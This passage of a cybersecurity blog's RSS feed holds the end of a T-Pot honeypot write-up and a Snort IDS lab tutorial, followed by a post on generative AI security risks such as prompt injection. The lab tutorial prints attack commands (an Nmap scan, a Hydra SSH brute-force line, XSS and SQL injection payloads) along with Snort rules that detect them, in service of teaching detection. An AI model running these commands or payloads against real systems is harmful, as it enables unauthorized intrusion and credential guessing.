examining the binaries kept in the /data/dionaea/binaries directory, a number of hashes matched with WannaCry ransomware family samples.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HBngdMsOha6qyxI_HYTGQA.png" /><figcaption>Binaries in Dionaea</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U2wYtJrH0FAL_o9_AT_BuA.png" /><figcaption>WannaCry Flagged by VirusTotal</figcaption></figure><p>It is important to note that the honeypot only stores the binaries for analysis and are never executed, so there was no risk of encryption of files. Additionally, WannaCry was designed to target Windows environments, while the honeypot running on Linux further limited the impact and propagation. This is still insightful for threat intelligence as it confirms the ransomware is being sprayed across the internet at scale, even years after WannaCry’s peak.</p><h3>CVEs Observed</h3><p>Beyond individual payloads, the honeypots also surfaced specific CVEs being targeted. These were mostly detected through exploit fingerprints and associated metadata. Across the two nodes, the following CVEs stood out:</p><p><strong>London observed:</strong></p><ul><li>CVE‑2020‑11910 — a remote code execution (RCE) issue.</li><li>Multiple Ripple20 vulnerabilities (including CVE‑2019‑12263, CVE‑2019‑12260, CVE‑2019‑12255), all related to RCE in embedded TCP/IP stacks.</li><li>CVE‑2020‑11900 — another RCE flaw.</li><li>CVE‑1999‑0016 — associated with DDoS.</li><li>CVE‑2019‑15107 — Webmin RCE.</li><li>CVE‑2020‑11899 — additional Ripple20‑related RCE.</li></ul><p><strong>Stockholm observed:</strong></p><ul><li>CVE‑2024‑4577 — an RCE flaw.</li><li>CVE‑2021‑41773 and CVE‑2021‑42013 — path traversal and path traversal + RCE issues.</li><li>CVE‑2021‑3449 — denial of service (DoS).</li><li>CVE‑2019‑11500 — RCE.</li><li>CVE‑2017‑3506 — deserialization RCE.</li><li>Several older issues including argument injection, encoding overflow, and buffer overflow vulnerabilities.</li></ul><p>It was seen that most of these CVEs fell into the ‘remote code execution’ or the ‘denial of service’ category. For blue teams, this is critical information and a sign to aggressively push patches to RCE based vulnerabilities.</p><h3>MITRE ATT&amp;CK Mapping</h3><p>To move from raw logs to structured threat intelligence, the observed behaviors were mapped to the MITRE ATT&amp;CK framework. ATT&amp;CK catalogs real-world Tactics, Techniques, and Procedures (TTPs) and helps standardize how we describe attacker behavior. Some mappings from the observations:</p><p><strong>Adbhoney (ADB attacks)</strong>:</p><ul><li>T1105 — Ingress Tool Transfer (downloading APKs and binaries).</li><li>T1059 — Command Execution.</li><li>T1047 — Process Execution.</li><li>T1070.004 — File Deletion.</li></ul><p><strong>Cowrie (SSH/Telnet sessions)</strong>:</p><ul><li>T1078 — Valid Accounts (use or creation of valid-like credentials).</li><li>T1082 — System Information Discovery.</li><li>T1083 — File/Directory Discovery.</li><li>T1087 — Account Discovery.</li></ul><p><strong>Dionaea (malware capture)</strong>:</p><ul><li>T1105 — Ingress Tool Transfer.</li><li>T1047 — Process Execution.</li><li>T1203 — Exploitation for Client Execution.</li><li>T1005 — Data from Local System.</li></ul><h3>Operational Challenges</h3><h4>Configuration Friction</h4><p>Using a Debian 12 image on AWS caused an unforeseen conflict: an exim4 daemon that was already listening on port 25 interfered with T-Pot’s services being deployed correctly. This required additional configuration work to resolve.</p><p>On the other hand, the DigitalOcean node’s Ubuntu deployment went more smoothly, with fewer default services interfering with the honeypot stack.</p><h4>Uptime Issues</h4><p>Every few hours, the AWS node had outages, which decreased the effectiveness of data capture. CloudWatch alarms were set up to automatically reboot and resume service when instance status checks failed in order to lessen this. This suggests that:</p><ul><li>Choosing a slightly more powerful instance type might have improved stability.</li><li>Monitoring and auto-remediation should be part of any long‑running honeypot deployment from day one.</li></ul><h3>Conclusion</h3><p>The timeline for this activity was strictly set to be one month, in which both the deployments combined captured close to 2.5 million connection attempts. This project highlights only a handful of cases caught by the honeypots, and must be having more interesting cases to explore. Given that the instances keep piling up every second, it would be humanly impossible to investigate each one individually. Which largely tells us that attackers are always prepared and that its not about ‘if’ you get attacked, but ‘when’ you get attacked.</p><p>From a month of running two identical T-Pot honeypots in different European regions, several high‑level conclusions emerged:</p><ul><li><strong>Location and ASN matter:</strong> The London node, closer to major exchange points and in a busier ASN, saw over ten times the number of connection attempts compared to Stockholm.</li><li><strong>Honeypots reliably attract real-world malware:</strong> From Trinity/UFO miner on ADB to Mirai‑like binaries and residual WannaCry samples, the honeypots caught active malware campaigns operating on today’s internet.</li><li><strong>Attack behavior is highly reusable knowledge:</strong> Command chains, credential dictionaries, and ATT&amp;CK mappings extracted from honeypot logs can feed directly into detection engineering and policy improvement.</li><li><strong>RCE remains king:</strong> Most CVEs observed in active exploitation were RCEs, reaffirming that remote code execution flaws are one of the highest-priority patch categories.</li><li><strong>Honeypots are practical, not just academic:</strong> With open‑source tools like T-Pot and commodity cloud resources, deploying a rich honeypot environment is now straightforward and cost‑effective for organizations of any size.</li></ul><p>This also concludes that a small but well-instrumented honeypot deployment can strengthen your team’s skills while offering highly useful visibility into the current threat landscape for anyone developing or enhancing a security program.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc06b365ea70" width="1" height="1" alt=""><hr><p><a href="https://osintteam.blog/i-deployed-t-pot-honeypots-twice-and-here-s-what-attackers-did-next-cc06b365ea70">I Deployed T-Pot Honeypots Twice and Here‘s What Attackers Did Next</a> was originally published in <a href="https://osintteam.blog/">OSINT Team</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDS Evasion and Detection with Snort: Building and Breaking Your Own Detection Lab]]></title>
            <link>https://medium.com/@abhang.mandwale/ids-evasion-and-detection-with-snort-building-and-breaking-your-own-detection-lab-211b286b5b82?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/211b286b5b82</guid>
            <category><![CDATA[snort-ids]]></category>
            <category><![CDATA[intrusion-prevention]]></category>
            <category><![CDATA[id]]></category>
            <category><![CDATA[intrusion-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Sat, 11 Apr 2026 22:32:34 GMT</pubDate>
            <atom:updated>2026-04-11T22:32:34.791Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gaOjaB8jdymSICqW" /><figcaption>Photo by <a href="https://unsplash.com/@elsbethcat?utm_source=medium&amp;utm_medium=referral">Beth Macdonald</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>Although intrusion detection systems (IDS) are sometimes thought of as “black boxes” that mysteriously indicate “suspicious traffic,” true security work begins when you comprehend how they perceive traffic and how attackers attempt to evade them. For this project, I constructed a small lab based on Snort, a popular open-source IDS/IPS, and then utilized custom rules to replicate common evasion tactics.</p><p>This setup had a Kali machine acting as the attacker on a local hypervisor and an Ubuntu-based victim in the cloud running Snort. Several attack types like XSS and SQL injection are discussed in this project, with the set of Snort rules that detect both active and passive attacks, trying to replicate a realistic scenario.</p><h3>What is an IDS and why do they matter?</h3><p>Intrusion detection systems monitor network or host activity for indications of malicious activity, policy infractions, or compromised systems. They usually work in tandem with firewalls, sending alerts to SIEM platforms for correlation and escalation of incidents. Intrusion detection systems broadly come in two main types:</p><ul><li>Network-based IDS (NIDS) that monitor traffic across a network segment.</li><li>Host-based IDS (HIDS) that monitor activity and file changes on a single machine.</li></ul><p>Snort falls under the umbrella of Network-based IDS and uses a versatile rule engine to detect patterns in traffic. Thanks to the open-source nature of Snort, it has a mature community supported rules that identify simple port scans to more complex exploits like EternalBlue and Log4Shell. Snort is lightweight and perfect for remote SSH-managed systems where GUI-based solutions would add needless overhead because it runs completely in the terminal.</p><h3>Lab Setup</h3><h4>Victim: Cloud Ubuntu server running Snort</h4><p>The victim machine is an Ubuntu-based DigitalOcean Droplet, which was selected to mimic a standard internet-facing server and complement Snort’s advantages as a terminal-based tool. Because the instance is available to the larger internet, real attackers will also probe it in addition to my test traffic. This is another way that hosting it in the cloud introduces real-world noise.</p><h4>Attacker: Kali Linux VM on VirtualBox</h4><p>The attacker is a Kali Linux virtual machine that is hosted locally on Oracle VirtualBox. Kali is perfect in this situation because it comes pre-installed with many of the necessary tools, such as Nmap, Hydra, curl, and others, allowing us to concentrate on traffic and detection rather than tool installation.</p><p>To make the Kali VM appear as a proper host on the local network (rather than hiding behind NAT), the VirtualBox network adapter is switched from NAT to Bridged Adapter, so it receives its own IP address on the LAN. This will ensure a realistic path: Kali → local router → internet → cloud Droplet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*OV50_2XDYzG7MIqsTXPmQg.png" /><figcaption>Deployment Setup</figcaption></figure><h3>Installing &amp; Verifying Snort</h3><p>On the Ubuntu Droplet, Snort setup is deliberately minimal to show how quickly you can go from a vanilla server to a functioning IDS. Key steps:</p><ol><li>Update base packages using sudo apt-get update to ensure all dependencies are current.</li><li>Install Snort via sudo apt-get install snort -y, pulling in the default rule sets and libraries.</li><li>Confirm installation with snort --version.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*84DrUX-8VdvMPPYgVBZHuA.png" /><figcaption>Updating System Packages — Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o7vACxvWW_nu0ctQj_tgIQ.png" /><figcaption>Installing Snort — Victim Machine</figcaption></figure><p>The default configuration file for Snort, snort.conf, becomes the focal point for detection settings. Before putting Snort into monitoring mode, it is suggested to run it in self-test mode using:</p><p>snort -T -i eth0 -c /etc/snort/snort.conf</p><p>As a result, all rules are parsed, syntax is verified, and statistics regarding the number of active rules, chains, and memory limits are printed by Snort. It’s a quick way of identifying configuration errors before real-time traffic reaches the engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TsyqCC6haHO5yeXtDrX81w.png" /><figcaption>Snort Self-Test Mode Output</figcaption></figure><h3>Network &amp; Firewall Configuration</h3><p>Both the cloud firewall and local network settings must align with the test scenarios for the traffic to flow correctly.</p><p>On the DigitalOcean side, inbound firewall rules are configured to allow:</p><ul><li>SSH on port 22 for brute-force testing.</li><li>HTTP on port 80 for web traffic tests.</li><li>ICMP and other relevant protocols for recon and scan detection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cxu9vbTYOV6V6LDET4kEVw.png" /><figcaption>Firewall Configuration in DigitalOcean</figcaption></figure><p>On the VirtualBox side, using the Bridged Adapter mode makes the Kali VM show up as an independent device on the LAN, which then gets its own internet-routable path to the Droplet. This is essential for Snort to see traffic as if it is coming from an arbitrary external client, rather than from the host machine itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*ODFpwIraUjmDg_mtJvqB8g.png" /><figcaption>Network Configuration in VirtualBox</figcaption></figure><p>Within snort.conf, the HOME_NET variable is set to the victim’s internal range (for example, ipvar HOME_NET 192.168.0.0/16), and EXTERNAL_NET is typically set to ‘any’ or ‘!HOME_NET’. This tells Snort what “we” are (our protected network) and what constitutes external traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAHuAnk0ZtEJR86m-EBm6w.png" /><figcaption>Network Configuration in snort.conf</figcaption></figure><h3>Writing Local Snort Rules</h3><p>While Snort comes with a large number of pre-written community rules, this project focuses on custom local rules in local.rules, allowing precise control over what gets detected and how. It also helps us understand how rules are written and for what specific attacks.</p><p>A basic ICMP detection rule:</p><p>alert icmp any any -&gt; any any (msg:&quot;ICMP Connection Detected&quot;; sid:1000001; rev:1;)</p><p>This rule triggers on any ICMP traffic in any direction, printing a simple message and using a custom SID (Snort ID) in a non-reserved range. With this in place, both pings and ICMP-based Nmap scans trigger alerts, which is useful for demonstrating how reconnaissance stands out in logs.</p><p>For SSH, a simple rule focuses on connection attempts to port 22:</p><p>alert tcp any any -&gt; any 22 (msg:&quot;Attempted SSH Authentication&quot;; sid:1000002; rev:1;)</p><p>This does not attempt to parse SSH content; instead, it flags all TCP connections targeting port 22, which is enough to catch brute-force attempts and high-volume login scans.</p><h3>Reconnaissance Detection</h3><p>Reconnaissance is almost always the first stage of an attack, and Nmap is the standard tool for discovering open ports and services. In this lab, Nmap is used from the Kali machine to scan the victim’s IP:</p><p>nmap -A 167.99.201.247 -Pn</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gxr4-bxDYY4JRB54zdaKHg.png" /><figcaption>Nmap Scan Initiation</figcaption></figure><p>Snort, running with the ICMP alert rule and listening on eth0, quickly starts printing alerts such as:</p><ul><li>ICMP Connection Detected alerts correlating to the scan traffic.</li><li>Source and destination IPs corresponding to the attacker and victim.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l0ueHUJnYVLY98N7nCXuqw.png" /><figcaption>Nmap Scan Detections in Snort</figcaption></figure><p>Beyond just confirming connectivity, this validates that the firewall and routing are correctly configured, and that Snort is successfully inspecting the correct interface and applying the intended rules.</p><h3>SSH Brute-Force Attempts</h3><p>Once Nmap confirms that port 22 is open, the next natural step is to attempt an SSH brute-force attack. On Kali, Hydra is used with a list of default credentials:</p><p>hydra -l &lt;user&gt; -P /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 167.99.201.247 ssh -t 4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1j2P7HWyMEVRpPwEtCmW4A.png" /><figcaption>SSH Credential Brute-Force Initiation</figcaption></figure><p>Even though the Droplet uses a strong password, making the brute-force attacks unlikely to be successful, it is important to note that the attempt is visible. With the earlier SSH rule in place, Snort logs multiple Attempted SSH Authentication alerts, including traffic from:</p><ul><li>The Kali machine (test brute-force).</li><li>Other arbitrary IP addresses on the internet that are constantly looking for open SSH in cloud IP ranges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMgS0IaAG_o7vjttKJi3pg.png" /><figcaption>SSH Traffic Captured in Snort</figcaption></figure><p>This effectively highlights a frequent reality: when a cloud server with port 22 is open, it begins to get brute-force traffic from unrelated threat actors. Simple mitigations include removing SSH from the default port or whitelisting only the IP of your attacker in the firewall.</p><h3>Web Attack Surface</h3><p>To test web-layer attacks like XSS and SQL injection, the victim needs to expose a simple HTTP service. Rather than deploying a full web stack, a lightweight Python HTTP server is used:</p><p>python3 -m http.server 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YESEiAf8oFmvDONL977O4g.png" /><figcaption>Web Server Command on Ubuntu Machine</figcaption></figure><p>After this, an Nmap scan shows port 80 open on the droplet, and traffic starts flowing through Snort on that port.</p><p>In local.rules, new signatures are added for application-layer attacks on HTTP:</p><ul><li>alert tcp any any -&gt; any 80 (msg:&quot;XSS Entry Detected&quot;; content:&quot;script&gt;alert(1)&lt;/script&quot;; nocase; sid:1000003; rev:1;)</li><li>alert tcp any any -&gt; any 80 (msg:&quot;SQL Query Detected&quot;; content:&quot;OR 1=1 --&quot;; http_uri; nocase; sid:1000004; rev:1;)</li></ul><p>These rules are simplified for clarity but sufficient to demonstrate how content-based detection works in Snort.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bHx2Dur6XcbdbF6HGvBEoQ.png" /><figcaption>Rule Set in Snort</figcaption></figure><h3>XSS Payload Detection</h3><p>Cross-Site Scripting (XSS) is a class of attacks where an attacker injects malicious JavaScript into a web application, often to steal cookies, hijack sessions, or modify page content. There are multiple ways to exploit an XSS vulnerability, where a common method would be to access the webpage using a browser. To emulate this attack in our lab, we will use curl from Kali to send a simple proof-of-concept payload:</p><p>curl &quot;&lt;http://167.99.201.247/?q=&gt;&lt;script&gt;alert(1)&lt;/script&gt;&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgJq0du2XqzZCIvhOVspWg.png" /><figcaption>Kali Terminal — XSS Payload</figcaption></figure><p>On the victim, Snort with the XSS rule active logs alerts such as XSS Entry Detected with source IP, destination IP, and port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVPWC6fr-19Sp-kIKa7CTA.png" /><figcaption>XSS Payload Detected in Snort</figcaption></figure><p>Because the rule matches on the substring ‘script’, it is flexible enough to catch multiple variations of XSS payloads using the &lt;script&gt; tag, not just the exact ‘alert(1)’ example. This highlights a key principle of rule-writing: targeting patterns rather than overly specific payloads yields better coverage.</p><h3>SQL Injection &amp; Evasion with Obfuscated Payloads</h3><p>SQL injection (SQLi) remains one of the most impactful web vulnerabilities, allowing attackers to manipulate database queries to read or modify data or bypass authentication. A classic test payload looks like:</p><p>text&#39; OR 1=1 --</p><p>However, this is well-known and easily caught, so attackers often use obfuscated variations. In this lab, an encoded/modified payload such as &#39;%20OR%201=1%3D1%20-- is used from the Kali machine to simulate a more realistic test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-c-yA1T1eX3xyzsQ7XtQ1Q.png" /><figcaption>Kali Terminal — SQL Injection</figcaption></figure><p>Even though the rule in ‘local.rules’ uses the clear-text OR 1=1 --form, Snort can still detect the attack once the HTTP server and decoding pipeline normalize the request, and the content matcher hits the pattern in the URI. Logs show SQL Query Detected alerts corresponding to the SQLi attempt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAHyDMNOYM7IenK4YwrsDA.png" /><figcaption>SQL Injection Detected in Snort</figcaption></figure><p>This demonstrates that even a basic Snort setup, when combined with proper normalization, can detect slightly obfuscated SQL injection attempts, not just textbook examples.</p><h3>Challenges</h3><p>The project revealed a number of practical challenges that are similar to those encountered in actual deployments. Following are the challenges faced:</p><ul><li><strong>Network configuration friction:</strong> Getting VirtualBox networking right (switching from NAT to Bridged Adapter, verifying the Kali IP, confirming reachability) took a few iterations.</li><li><strong>Open SSH to the world:</strong> Leaving port 22 open to “any” on the cloud side soon led to a significant number of unsolicited SSH attempts from the internet. It became more difficult to separate lab traffic from background noise as a result.</li><li><strong>Finding your own traffic in the noise:</strong> In order to differentiate our Hydra run from background brute-force activity, we must carefully correlate timestamps and IPs once actual attackers begin hammering SSH.</li></ul><p>Most of these issues can be mitigated by tightening firewall rules (only allow the Kali IP), using nonstandard ports in a lab context, or filtering events in Snort based on specific IP ranges.</p><h3>Learnings</h3><p>Beyond the individual attack types, several broader lessons emerged from working hands-on with Snort.</p><ul><li><strong>End-to-end communication matters:</strong> Getting two machines to talk across different networks (local VM → ISP → cloud provider) forces you to think like an attacker and like a network engineer.</li><li><strong>Snort is powerful but demands good configuration: </strong>It is easy to install, but the real value comes from tuning HOME_NET, EXTERNAL_NET, rule sets, and performance options.</li><li><strong>Custom rules are accessible: </strong>Writing simple local rules for ICMP, SSH, XSS, and SQLi shows that you do not need to be a vendor ruleset author to build useful detection.</li><li><strong>Open-source IDS are production-relevant: </strong>Snort’s robustness and flexibility make it suitable not just for labs but also for corporate networks when paired with good rule hygiene and central log management.</li></ul><p>These are the same skills you need when setting up IDS/IPS in real environments: deployment, tuning, and continuous rule maintenance.</p><h3>Future Scope</h3><p>If extended, this project could grow into a more advanced detection and response lab. Potential improvements include:</p><ul><li><strong>Deeper exploits: </strong>Using frameworks like Metasploit to test Snort’s detection for high-profile exploits such as EternalBlue on Windows targets, not just simple payloads.</li><li><strong>Exploring community rules: </strong>Studying how existing Snort rule feeds are engineered to learn best practices for writing efficient and low-noise signatures.</li><li><strong>Switching to IPS mode: </strong>Configuring Snort in inline mode to actively block malicious traffic rather than just alerting on it.</li><li><strong>Integrating SIEM/SOAR: </strong>Forwarding Snort alerts into a SIEM or SOAR platform to automate actions such as auto-blocking malicious IPs, raising incidents, or enriching events with threat intelligence.</li></ul><p>These steps move the lab from pure visibility into the realm of active defense and automated response.</p><h3>Conclusion</h3><p>This project demonstrates how you can create a realistic environment for researching how attacks appear on the wire and how detection functions using a single cloud virtual machine, a local Kali box, and an open-source intrusion detection system like Snort. Every attack, including SSH brute-force, XSS, SQL injection, and ICMP-based reconnaissance, leaves fingerprints that a well designed Snort system can consistently detect.</p><p>The operational aspect of IDS is also highlighted, including maintaining proper setups, controlling firewall rules, updating detection algorithms, and handling real-world noise when your lab node is exposed to everyone on the internet. All things considered, Snort turns out to be both user-friendly and potent. It is a great way to understand IDS principles and a workable foundation for economical detection on production networks.</p><p><em>*Acknowledgement: Parts of this post were prepared with the assistance of QuillBot’s Paraphrasing Tool, used for improved grammatical writing and clarity.*</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=211b286b5b82" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tackling Cybersecurity Challenges for Gen AI — 2026 Edition]]></title>
            <link>https://medium.com/@abhang.mandwale/tackling-cybersecurity-challenges-for-gen-ai-2026-edition-5e1d2fc2e47d?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e1d2fc2e47d</guid>
            <category><![CDATA[data-breach]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[genai]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Sat, 28 Mar 2026 18:00:26 GMT</pubDate>
            <atom:updated>2026-03-28T18:00:26.071Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SDw-U3ueyb0SNtvy" /><figcaption>Photo by <a href="https://unsplash.com/@chris_chow?utm_source=medium&amp;utm_medium=referral">Chris Chow</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>This blog is an extension to one of my previous talks, which I gave at the MiniOrange Identity Shield Summit in 2025. You may access the talk from here — <a href="https://www.youtube.com/watch?v=vkS9BQUW96g&amp;t=95s&amp;pp=ygUPYWJoYW5nIG1hbmR3YWxl">miniOrange Tackling New Cybersecurity Challenges for Gen AI | Abhang Mandwale | IdentityShield Summit ‘25</a></p><p>Generative AI systems started off with a system that assists with daily organization tasks, and have shifted to being at the core of businesses. This brings up the question of how secure is our data with these intelligent systems and what if they are not secure? Today, securing AI models have become non-negotiable and are to be considered for vulnerability assessments.</p><h3>The Threat Landscape</h3><ul><li>Ransomware at Speed: Ransomware still remains one of the topmost ways for threat actors to gain profit. With the rise of AI, phishing attacks have gotten more sophisticated, more targeted and done at larger volume. Additionally, threat actors are now able to build smarter malwares at faster pace. As a result, attackers are winning the arms race.</li><li>Evolved Data Breaches: Data breaches are no longer just about stolen credentials. Today, attackers are able to reverse engineer the training data from a model or poison the data to ultimately degrade the model’s confidentiality and integrity. Intelligent systems in healthcare or financial organizations are the most prone to get affected by this.</li><li>Critical Dependencies: Intelligent systems embedded into SaaS tools or cloud platforms has become a critical attack vector. Compromise of a small module in the SDLC process can introduce multiple problems for hundreds of organizations, specially when a vendor is using these systems.​</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qNDasMaIKOQarwxs0TAyiw.png" /></figure><p>The global cost of a cyber attack has now increased to an estimated 1.5 trillion dollars per year, and this growth could be steeper by the end of this decade.</p><h3>Emerging Risks</h3><h4>Prompt Injection</h4><p>Prompt Injection has become one of the most common attack methods for AI systems. It now ranks #1 in the OWASP Top 10 list for LLMs. In this method, adversaries are able to override instructions to steal confidential information or trigger dangerous actions in AI agents which can access internal data and run tools.</p><h4>Data Poisoning</h4><p>Data Poisoning is a technique where the model discreetly biases the outputs, therefore degrading the performance for some classes of inputs by tuning datasets. This can prove to be seriously harmful when it comes to healthcare systems.</p><h4>IP Misuse &amp; Model Extraction</h4><p>Adversaries constantly attempt to ‘replicate’ learning models by smartly prompting them and therefore training their own systems from the outputs. Models also become a target of model inversion attacks, where adversaries are able to reconstruct the training data from the main models.</p><h4>Shadow AI</h4><p>Employees in corporate settings share sensitive corporate information with the learning model. This creates a ‘shadow AI’ outside of governance, which increases the risk of confidential data being used for training or leaking through models.</p><h4>Regulatory Gaps</h4><p>Regulations are moving rapidly in response to AI adoption. Regulations like the EU AI Act and standards like ISO 42001 are formed to specifically target AI systems. Following these regulations and standards would be non-negotiable by organizations within the next few years.</p><h3>Business Impact Analysis</h3><h4>Financial Losses</h4><p>Cyber incidents amplified by AI systems can rapidly spread across the cloud, identity systems, third-parties, causing wider disruptions. This downtime and lost productivity will cause a greater financial loss across the industry.</p><p>Additionally, according to the Crowdstrike’s 2025 Ransomware Report, AI-enabled ransomware attacks have become approximately 82% more difficult to detect phishing emails. The average cost of downtime caused by a ransomware is $1.7M per incident, where public organization faced the highest average loss of $2.5M per incident.</p><h4>Trust Erosion</h4><p>Any breach comes with its fair share of reputational damage, and in case of AI systems, models leaking customer data or generating harmful content can largely harm the trust in the organization. Rebuilding confidence of customers after they question the safety of their assets becomes a long term challenge.</p><h4>Regulatory Penalties</h4><p>As AI systems constantly access PII, PHI and PCI, organizations need to comply with the regulations like GDPR, HIPAA and PCI DSS. Failure to meet the requirements can lead to significant fines and ongoing supervision by authorities.</p><h3>Risk Response Treatment</h3><ul><li>Risk Avoidance: Organizations may opt to not implement GenAI solutions considering their high-risk nature, especially where their reliability and explainability is mostly a black-box.</li><li>Risk Acceptance: This is when mitigation costs would be more than the potential impact. Organizations may accept the risks with deploying AI solutions but consciously.</li><li>Risk Mitigation: These are the solutions that actively aim to reduce the likelihood and impact of GenAI risks through technical and organizational controls.</li><li>Risk Transfer: Cyber insurance can transfer part of the financial exposure, though insurers are becoming more vary of the AI-related controls and may also exclude where the governed deployments are poor.</li></ul><h3>Mitigation Strategies</h3><h4>Securing Data Lifecycle</h4><p>Robust training and fine-tuning pipelines: To protect training data against manipulation and poisoning, implement stringent access control, integrity checks, and provenance tracking. Prior to retraining models, identify any unexpected changes in distributions or labels using data validation and anomaly detection.</p><p>Segmenting sensitive data: Reduce the quantity of personal data used for training and keep more sensitive datasets (health, financial, trade secrets) and lower-risk corpora clearly separated. For regulatory auditability, use synthetic or anonymized data whenever feasible and record data sources.</p><h4>Defense Against Prompt Injection &amp; Adversarial Attacks</h4><p>Adversarial training and testing: To increase resilience, expose models to adversarial examples and stress testing on a regular basis. This is especially important for high-risk applications like fraud detection, authentication, and physical-world perception. Instead of being a one-time check, red-team drills emphasizing quick injection and jailbreaking ought to be a routine operational procedure.</p><p>Deeper policy rules and guardrails: Enforce authorization, data access controls, and output filtering in the application and orchestration layers surrounding the model instead of depending only on model prompts for security. Make sure that every activity is strictly scoped and validated for AI agents that have the ability to call tools or alter systems.</p><h4>Intellectual Property Protection</h4><p>Watermarking: Researchers are using watermarks or cryptographic signatures in generated content where necessary to comply with rules or business requirements, and keep track of generated output logs. This promotes adherence to transparency regulations, forensic inquiry, and intellectual property protection.</p><p>Atypical usage detection and rate limiting: Keep an eye on API access patterns, such as extensive automated searching or odd prompt sequences, to spot systematic model extraction attempts.</p><h4>Shadow AI Governance</h4><p>Acceptable usage policy for AI: Define what kinds of data employees may or may not share with external AI tools, and provide approved internal alternatives where possible. To make the risk concrete, training and awareness should emphasize actual instances of AI-driven phishing and data leaking.</p><p>Centralize logging and monitoring: To assist with audits and incident response, log prompts and answers for sensitive internal AI applications with the proper privacy protections.</p><h4>Regulatory Compliance</h4><p>Risk classifications for AI systems: Determine the corresponding responsibilities for each system by mapping AI use cases to the categories of unacceptable, high-risk, and general-purpose AI under the EU AI Act. As the EU’s requirements for documentation, transparency, and human oversight take effect in 2026 and 2027, get ready to comply with them for high-risk systems.</p><p>Include transparency and human oversight: Make sure that important choices pertaining to rights, safety, or access to necessary services are made with human input and that AI-generated content can be easily recognized where necessary.</p><h3>Conclusion</h3><p>AI is becoming a part of the infrastructure rather than a distinct “innovation project.” Organizations that invest today in strong governance, data integrity, and AI-specific security policies will be best positioned to develop securely as adversaries weaponize AI and regulators tighten expectations.</p><p>Businesses can leverage the power of modern AI without sleepwalking into preventable crises by recognizing it as both a strategic asset and a high-value target and by aligning technical controls with developing regulations like the EU AI Act.</p><p><em>*Acknowledgement: Parts of this post were prepared with the assistance of QuillBot’s Paraphrasing Tool, used for improved grammatical writing and clarity.*</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e1d2fc2e47d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What I Wish I Understood Before Starting a Master’s in Cybersecurity]]></title>
            <link>https://medium.com/@abhang.mandwale/what-i-wish-i-understood-before-starting-a-masters-in-cybersecurity-3edec20d428e?source=rss-18505c0a900------2</link>
            <guid isPermaLink="false">https://medium.com/p/3edec20d428e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[masters-degree]]></category>
            <category><![CDATA[experience]]></category>
            <dc:creator><![CDATA[Abhang Mandwale]]></dc:creator>
            <pubDate>Sun, 28 Dec 2025 22:38:43 GMT</pubDate>
            <atom:updated>2026-03-27T15:26:03.229Z</atom:updated>
